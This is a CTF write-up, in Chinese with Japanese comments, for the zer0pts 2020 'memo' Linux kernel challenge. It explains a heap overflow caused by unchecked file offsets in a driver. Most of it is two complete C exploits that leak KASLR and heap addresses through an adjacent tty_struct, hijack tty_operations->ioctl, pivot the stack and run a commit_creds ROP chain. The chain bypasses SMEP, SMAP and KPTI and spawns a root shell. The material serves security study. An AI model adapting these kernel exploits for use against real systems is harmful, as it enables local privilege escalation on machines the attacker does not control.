zer0pts-2020-memo：由文件偏移处理不正确--引发的堆溢出

启动脚本

#!/bin/sh
qemu-system-x86_64 \
    -m 256M \
    -kernel ./bzImage \
    -initrd ./rootfs.cpio \
    -append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 kaslr quiet" \
    -cpu kvm64,+smep,+smap \
    -monitor /dev/null \
    -nographic -enable-kvm

/ # dmesg | grep 'page table'
[    0.712632] Kernel/User page tables isolation: enabled
/ # cat /proc/cpuinfo | grep pti
fpu_exception	: yes
flags		: ... pti smep smap

smep,smap,kaslr,pti都开启了

问题

mod_read和mod_write中，没有检查filp->f_ops+count的情况

利用方式

#define DEVICE_NAME "memo"
#define MAX_SIZE 0x400
memo = kmalloc(MAX_SIZE, GFP_KERNEL);

1、在驱动打开的时候，分配的memo是kmalloc-0x400的slab
2、分配tty_struct，使得与memo在同一kcache中，并且在memo下方
3、通过读memo下方的tty_struct，从而得到内核基地址（绕过kaslr）和堆相关的地址（从而获得memo的地址kernheap，布置rop）
4、将tty_struct->tty_operations指向memo的0x300处
5、将memo的0x300开始布置tty_operations，在0x300+0xC*8处布置tty_operations->ioctl，一个栈迁移指令
6、将rop布置到memo起始处（通过swapgs_restore_regs_and_return_to_usermode绕过PTI）
7、ioctl(ptmx, kernheap, kernheap); kernheap为rdi

提权

exp1

#include 
#include 
#include 
#include 
#include 
#include 

#define ulong unsigned long

ulong user_cs, user_ss, user_sp, user_rflags;

void pop_shell(void)
{
  char *argv[] = {"/bin/sh", NULL};
  char *envp[] = {NULL};
  execve("/bin/sh", argv, envp);
}

static void save_state(void)
{
  asm(
      "movq %%cs, %0\n"
      "movq %%ss, %1\n"
      "movq %%rsp, %2\n"
      "pushfq\n"
      "popq %3\n"
      : "=r"(user_cs), "=r"(user_ss), "=r"(user_sp), "=r"(user_rflags) : : "memory");
}

int main(void)
{
  // 前提是可以溢出，
  int memo = open("/dev/memo", O_RDWR); // 申请 0x400的空间
  int ptmx = open("/dev/ptmx", O_RDWR | O_NOCTTY); // 申请 0x400 tty_struct
  char buf[0x400];
  ulong *rop;
  ulong kernbase, kernheap;

  /**** gadgets ****/
  ulong off_ptm_unix98_ops_kernbase = 0x6191e0;
  ulong off_kernheap = 0x438;
  // 0xffffffff810243b8: push rdx ; pop rsp ; sub eax, 0x0002E5AC ; pop rax ; pop rbx ; pop r12 ; pop r13 ; pop r14 ; pop rbp ; ret  ;  (1 found)
  ulong gad1 = 0x243b8;
  // 0xffffffff810e7ae8: pop rdi ; ret  ;  (47 found)
  ulong pop_rdi = 0xe7ae8;
  // 0xffffffff8100fc8e: mov rdi, rax ; rep movsq  ; ret  ;  (1 found)
  ulong mov_rdi_rax = 0xfc8e;
  // 0xffffffff810fb892: pop rcx ; add cl, byte [rax-0x7D] ; ret  ;  (2 found)
  ulong pop_rcx = 0xfb892;
  ulong prepare_kernel_cred = 0x44850;
  ulong commit_creds = 0x44680;
  /*
   0xffffffff812009c4 <+68>:    mov    rdi,rsp
   0xffffffff812009c7 <+71>:    mov    rsp,QWORD PTR ds:0xffffffff81806004
   0xffffffff812009cf <+79>:    push   QWORD PTR [rdi+0x30]
   0xffffffff812009d2 <+82>:    push   QWORD PTR [rdi+0x28]
   0xffffffff812009d5 <+85>:    push   QWORD PTR [rdi+0x20]
   0xffffffff812009d8 <+88>:    push   QWORD PTR [rdi+0x18]
   0xffffffff812009db <+91>:    push   QWORD PTR [rdi+0x10]
   0xffffffff812009de <+94>:    push   QWORD PTR [rdi]
   0xffffffff812009e0 <+96>:    push   rax
   0xffffffff812009e1 <+97>:    xchg   ax,ax
   0xffffffff812009e3 <+99>:    mov    rdi,cr3
   0xffffffff812009e6 <+102>:   jmp    0xffffffff81200a1a 
   0xffffffff812009e8 <+104>:   mov    rax,rdi
   0xffffffff812009eb <+107>:   and    rdi,0x7ff

  */
  ulong swapgs_restore_regs_and_return_to_usermode = 0x2009c4;

  // 保存状态
  save_state();

  // 溢出，读取 tty_struct
  lseek(memo, 0x300, SEEK_SET);
  read(memo, buf, 0x400);

  // leak kernbase and kernheap
  // 可以从 tty_struct 中获取两类数据，代码的基地址，堆的基地址
  kernbase = *(unsigned long *)(buf + 0x100 + 0x18) - off_ptm_unix98_ops_kernbase;  // 这个很明显
  printf("kernbase: %lx\n", kernbase);
  // struct tty_struct-> read_wait(list_head)->next 指向了自己
  // 这个地方 off_kernheap 在不同的环境下不一定，需要自己调试确认一下
  kernheap = *(unsigned long *)(buf + 0x100 + 0x38) - off_kernheap; // kernheap 是 /dev/memo 堆地址
  printf("kernheap: %lx\n", kernheap);

  // vtableへのポインタの書き換え
  *(unsigned long *)(buf + 0xc * 8) = kernbase + gad1;       // fake ioctl entry
  *(unsigned long *)(buf + 0x100 + 0x18) = kernheap + 0x300; // fake vtable pointer // 将提取代码布置到 第一个0x400中

  lseek(memo, 0x300, SEEK_SET);
  write(memo, buf, 0x400); // overwrite ops and ioctl entry

  // ROP chain
  rop = (unsigned long *)buf;
  // gad1のごまかし*6
  *rop++ = 0x0;
  *rop++ = 0x0;
  *rop++ = 0x0;
  *rop++ = 0x0;
  *rop++ = 0x0;
  *rop++ = 0x0;

  // init_task の cred を入手
  *rop++ = kernbase + pop_rdi;
  *rop++ = 0;
  *rop++ = kernbase + prepare_kernel_cred;

  // 入手したcredを引数にしてcommit
  *rop++ = kernbase + pop_rcx; // mov_rdi_raxガジェットがrepを含んでいるため、カウンタ0にしておく
  *rop++ = 0;
  *rop++ = kernbase + mov_rdi_rax;
  *rop++ = kernbase + commit_creds;

  // return to usermode by swapgs_restore_regs_and_return_to_usermode
  *rop++ = kernbase + swapgs_restore_regs_and_return_to_usermode;
  *rop++ = 0;
  *rop++ = 0;
  *rop++ = (ulong)&pop_shell;
  *rop++ = user_cs;
  *rop++ = user_rflags;
  *rop++ = user_sp;
  *rop++ = user_ss;

  // invoke shell
  lseek(memo, 0x0, SEEK_SET);
  write(memo, buf, 0x100);
  // ioctl(ptmx,0xdeadbeef,0xcafebabe);
  // ioctl(ptmx,rip,rdx)
  // rip = 0xdeadbeef
  // rdx = 0xcafebabe
  ioctl(ptmx, kernheap, kernheap);

  return 0;
}

exp2

// https://hackmd.io/@ptr-yudai/rJp1TpbBU

#include 
#include 
#include 
#include 
#include 
#include 

unsigned long kbase, kheap;
unsigned long ptm_unix98_ops = 0xe65900;

unsigned long rop_mov_cr4_edi = 0x04b6a1;
unsigned long rop_push_r12_add_rbp_41_ebx_pop_rsp_r13 = 0x94d4e3;
unsigned long rop_pop_rdi = 0x001268;
unsigned long rop_pop_rcx = 0x04c852;
unsigned long rop_mov_rdi_rax = 0x019dcb;
unsigned long rop_bypass_kpti = 0xa00a45;
unsigned long commit_creds = 0xffffffff9127b8b0 - 0xffffffff91200000;
unsigned long prepare_kernel_cred = 0xffffffff9127bb50 - 0xffffffff91200000;

unsigned long user_cs;
unsigned long user_ss;
unsigned long user_sp;
unsigned long user_rflags;

static void save_state()
{
    asm(
        "movq %%cs, %0\n"
        "movq %%ss, %1\n"
        "movq %%rsp, %2\n"
        "pushfq\n"
        "popq %3\n"
        : "=r"(user_cs), "=r"(user_ss), "=r"(user_sp), "=r"(user_rflags)
        :
        : "memory");
}

static void win() {
  char *argv[] = {"/bin/sh", NULL};
  char *envp[] = {NULL};
  puts("[+] Win!");
  execve("/bin/sh", argv, envp);
}

int main() {
  unsigned long buf[0x400 / sizeof(unsigned long)];
  save_state();

  /* open drivers */
  int fd = open("/dev/memo", O_RDWR);
  if (fd < 0) {
    perror("/dev/memo");
    return 1;
  }
  int ptmx = open("/dev/ptmx", O_RDWR | O_NOCTTY);
  if (ptmx < 0) {
    perror("/dev/ptmx");
    return 1;
  }

  /* leak kbase & kheap */
  lseek(fd, 0x100, SEEK_SET);
  read(fd, buf, 0x400);
  kbase = buf[(0x300 + 0x18) / sizeof(unsigned long)] - ptm_unix98_ops;
  kheap = buf[(0x300 + 0x38) / sizeof(unsigned long)] - 0x38 - 0x400;
  printf("[+] kbase = 0x%016lx\n", kbase);
  printf("[+] kheap = 0x%016lx\n", kheap);

  /* write fake vtable, rop chain & overwrite ops */
  // fake tty_struct
  buf[(0x300 + 0x18) / sizeof(unsigned long)] = kheap + 0x100; // ops
  // fake tty_operations
  buf[12] = kbase + rop_push_r12_add_rbp_41_ebx_pop_rsp_r13; // ioctl
  // rop chain
  unsigned long *chain = &buf[0x100 / sizeof(unsigned long)];
  *chain++ = kbase + rop_pop_rdi;
  *chain++ = 0;
  *chain++ = kbase + prepare_kernel_cred;
  *chain++ = kbase + rop_pop_rcx;     // make rcx 0 to bypass rep
  *chain++ = 0;
  *chain++ = kbase + rop_mov_rdi_rax;
  *chain++ = kbase + commit_creds;    // cc(pkc(0));
  *chain++ = kbase + rop_bypass_kpti; // return to usermode
  *chain++ = 0xdeadbeef;
  *chain++ = 0xdeadbeef;
  *chain++ = (unsigned long)&win;
  *chain++ = user_cs;
  *chain++ = user_rflags;
  *chain++ = user_sp;
  *chain++ = user_ss;

  // overwrite!
  lseek(fd, 0x100, SEEK_SET);
  write(fd, buf, 0x400);

  /* ignite! */
  ioctl(ptmx, 0xdeadbeef, kheap + 0x200 - 8); // -8 for pop r13
  return 0;
}